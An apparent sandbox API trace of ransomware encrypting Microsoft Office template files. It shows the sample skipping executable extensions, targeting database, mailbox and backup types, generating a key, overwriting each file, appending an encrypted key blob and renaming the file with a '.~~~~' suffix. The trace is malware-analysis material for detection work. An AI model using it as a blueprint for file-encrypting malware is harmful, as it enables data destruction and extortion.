	[0144.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".com") returned 0x0
	[0144.014] lstrlenW (lpString=".lnk") returned 4
	[0144.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".lnk") returned 0x0
	[0144.014] lstrlenW (lpString=".msp") returned 4
	[0144.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".msp") returned 0x0
	[0144.014] lstrlenW (lpString=".pif") returned 4
	[0144.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".pif") returned 0x0
	[0144.014] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0144.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.016] lstrlenW (lpString=".sqb") returned 4
	[0144.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".sqb") returned 0x0
	[0144.016] lstrlenW (lpString=".ost") returned 4
	[0144.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".ost") returned 0x0
	[0144.016] lstrlenW (lpString=".txt") returned 4
	[0144.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".txt") returned 0x0
	[0144.016] lstrlenW (lpString=".mdt") returned 4
	[0144.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".mdt") returned 0x0
	[0144.017] lstrlenW (lpString=".BDB") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".BDB") returned 0x0
	[0144.017] lstrlenW (lpString=".eql") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".eql") returned 0x0
	[0144.017] lstrlenW (lpString=".DBF") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DBF") returned 0x0
	[0144.017] lstrlenW (lpString=".EQL") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".EQL") returned 0x0
	[0144.017] lstrlenW (lpString=".FDB") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".FDB") returned 0x0
	[0144.017] lstrlenW (lpString=".EDB") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".EDB") returned 0x0
	[0144.017] lstrlenW (lpString=".DACPAC") returned 7
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.017] lstrlenW (lpString=".VHD") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".VHD") returned 0x0
	[0144.017] lstrlenW (lpString=".DBV") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DBV") returned 0x0
	[0144.017] lstrlenW (lpString=".dacpac") returned 7
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dacpac") returned 0x0
	[0144.017] lstrlenW (lpString=".sdf") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".sdf") returned 0x0
	[0144.017] lstrlenW (lpString=".accdb") returned 6
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".accdb") returned 0x0
	[0144.017] lstrlenW (lpString=".DBX") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DBX") returned 0x0
	[0144.017] lstrlenW (lpString=".MDT") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".MDT") returned 0x0
	[0144.017] lstrlenW (lpString=".SQB") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".SQB") returned 0x0
	[0144.017] lstrlenW (lpString=".vhd") returned 4
	[0144.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".vhd") returned 0x0
	[0144.017] lstrlenW (lpString=".bac") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".bac") returned 0x0
	[0144.018] lstrlenW (lpString=".mdf") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".mdf") returned 0x0
	[0144.018] lstrlenW (lpString=".BAK") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".BAK") returned 0x0
	[0144.018] lstrlenW (lpString=".BAC") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".BAC") returned 0x0
	[0144.018] lstrlenW (lpString=".dbs") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dbs") returned 0x0
	[0144.018] lstrlenW (lpString=".vhdx") returned 5
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".vhdx") returned 0x0
	[0144.018] lstrlenW (lpString=".NDF") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".NDF") returned 0x0
	[0144.018] lstrlenW (lpString=".dat") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dat") returned 0x0
	[0144.018] lstrlenW (lpString=".DBS") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DBS") returned 0x0
	[0144.018] lstrlenW (lpString=".CKP") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".CKP") returned 0x0
	[0144.018] lstrlenW (lpString=".edb") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".edb") returned 0x0
	[0144.018] lstrlenW (lpString=".PST") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".PST") returned 0x0
	[0144.018] lstrlenW (lpString=".dbf") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dbf") returned 0x0
	[0144.018] lstrlenW (lpString=".SQL") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".SQL") returned 0x0
	[0144.018] lstrlenW (lpString=".pst") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".pst") returned 0x0
	[0144.018] lstrlenW (lpString=".dbv") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dbv") returned 0x0
	[0144.018] lstrlenW (lpString=".SDF") returned 4
	[0144.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".SDF") returned 0x0
	[0144.019] lstrlenW (lpString=".dtxs") returned 5
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dtxs") returned 0x0
	[0144.019] lstrlenW (lpString=".db3") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".db3") returned 0x0
	[0144.019] lstrlenW (lpString=".OST") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".OST") returned 0x0
	[0144.019] lstrlenW (lpString=".dbx") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dbx") returned 0x0
	[0144.019] lstrlenW (lpString=".DB3") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DB3") returned 0x0
	[0144.019] lstrlenW (lpString=".DAT") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DAT") returned 0x0
	[0144.019] lstrlenW (lpString=".VHDX") returned 5
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".VHDX") returned 0x0
	[0144.019] lstrlenW (lpString=".ndf") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".ndf") returned 0x0
	[0144.019] lstrlenW (lpString=".DB") returned 3
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DB") returned 0x0
	[0144.019] lstrlenW (lpString=".sql") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".sql") returned 0x0
	[0144.019] lstrlenW (lpString=".MYD") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".MYD") returned 0x0
	[0144.019] lstrlenW (lpString=".DBT") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DBT") returned 0x0
	[0144.019] lstrlenW (lpString=".ACCDB") returned 6
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.019] lstrlenW (lpString=".fdb") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".fdb") returned 0x0
	[0144.019] lstrlenW (lpString=".bak") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".bak") returned 0x0
	[0144.019] lstrlenW (lpString=".myd") returned 4
	[0144.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".myd") returned 0x0
	[0144.020] lstrlenW (lpString=".DTXS") returned 5
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".DTXS") returned 0x0
	[0144.020] lstrlenW (lpString=".ckp") returned 4
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".ckp") returned 0x0
	[0144.020] lstrlenW (lpString=".dbt") returned 4
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".dbt") returned 0x0
	[0144.020] lstrlenW (lpString=".db") returned 3
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".db") returned 0x0
	[0144.020] lstrlenW (lpString=".TXT") returned 4
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".TXT") returned 0x0
	[0144.020] lstrlenW (lpString=".MDF") returned 4
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".MDF") returned 0x0
	[0144.020] lstrlenW (lpString=".bdb") returned 4
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".bdb") returned 0x0
	[0144.020] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.020] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0144.021] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.021] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.021] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26401155211) returned 1
	[0144.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf3f70f0, dwHighDateTime=0x1d60e1e)) 
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2630
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2630 | out: hHeap=0x300000) returned 1
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac5c0
	[0144.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac5c0 | out: hHeap=0x300000) returned 1
	[0144.022] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.022] GetLastError () returned 0x0
	[0144.023] GetLastError () returned 0x0
	[0144.023] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.023] GetLastError () returned 0x0
	[0144.023] GetLastError () returned 0x0
	[0144.023] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x210c, lpOverlapped=0x0) returned 1
	[0144.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffdef4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.031] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x210c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x210c, lpOverlapped=0x0) returned 1
	[0144.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.032] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.032] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.032] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.032] CloseHandle (hObject=0x114) returned 1
	[0144.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0144.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx.~~~~")) returned 1
	[0144.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0144.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.035] GetLastError () returned 0x0
	[0144.035] RtlWakeConditionVariable () returned 0x0
	[0144.035] GetCurrentThreadId () returned 0x9f4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".scr") returned 0x0
	[0144.035] lstrlenW (lpString=".cmd") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".cmd") returned 0x0
	[0144.035] lstrlenW (lpString=".dll") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dll") returned 0x0
	[0144.035] lstrlenW (lpString=".bat") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".bat") returned 0x0
	[0144.035] lstrlenW (lpString=".cpl") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".cpl") returned 0x0
	[0144.035] lstrlenW (lpString=".sys") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".sys") returned 0x0
	[0144.035] lstrlenW (lpString=".msc") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".msc") returned 0x0
	[0144.035] lstrlenW (lpString=".com") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".com") returned 0x0
	[0144.035] lstrlenW (lpString=".lnk") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".lnk") returned 0x0
	[0144.035] lstrlenW (lpString=".msp") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".msp") returned 0x0
	[0144.035] lstrlenW (lpString=".pif") returned 4
	[0144.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".pif") returned 0x0
	[0144.036] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0144.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.038] lstrlenW (lpString=".sqb") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".sqb") returned 0x0
	[0144.038] lstrlenW (lpString=".ost") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".ost") returned 0x0
	[0144.038] lstrlenW (lpString=".txt") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".txt") returned 0x0
	[0144.038] lstrlenW (lpString=".mdt") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".mdt") returned 0x0
	[0144.038] lstrlenW (lpString=".BDB") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".BDB") returned 0x0
	[0144.038] lstrlenW (lpString=".eql") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".eql") returned 0x0
	[0144.038] lstrlenW (lpString=".DBF") returned 4
	[0144.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DBF") returned 0x0
	[0144.038] lstrlenW (lpString=".EQL") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".EQL") returned 0x0
	[0144.039] lstrlenW (lpString=".FDB") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".FDB") returned 0x0
	[0144.039] lstrlenW (lpString=".EDB") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".EDB") returned 0x0
	[0144.039] lstrlenW (lpString=".DACPAC") returned 7
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.039] lstrlenW (lpString=".VHD") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".VHD") returned 0x0
	[0144.039] lstrlenW (lpString=".DBV") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DBV") returned 0x0
	[0144.039] lstrlenW (lpString=".dacpac") returned 7
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dacpac") returned 0x0
	[0144.039] lstrlenW (lpString=".sdf") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".sdf") returned 0x0
	[0144.039] lstrlenW (lpString=".accdb") returned 6
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".accdb") returned 0x0
	[0144.039] lstrlenW (lpString=".DBX") returned 4
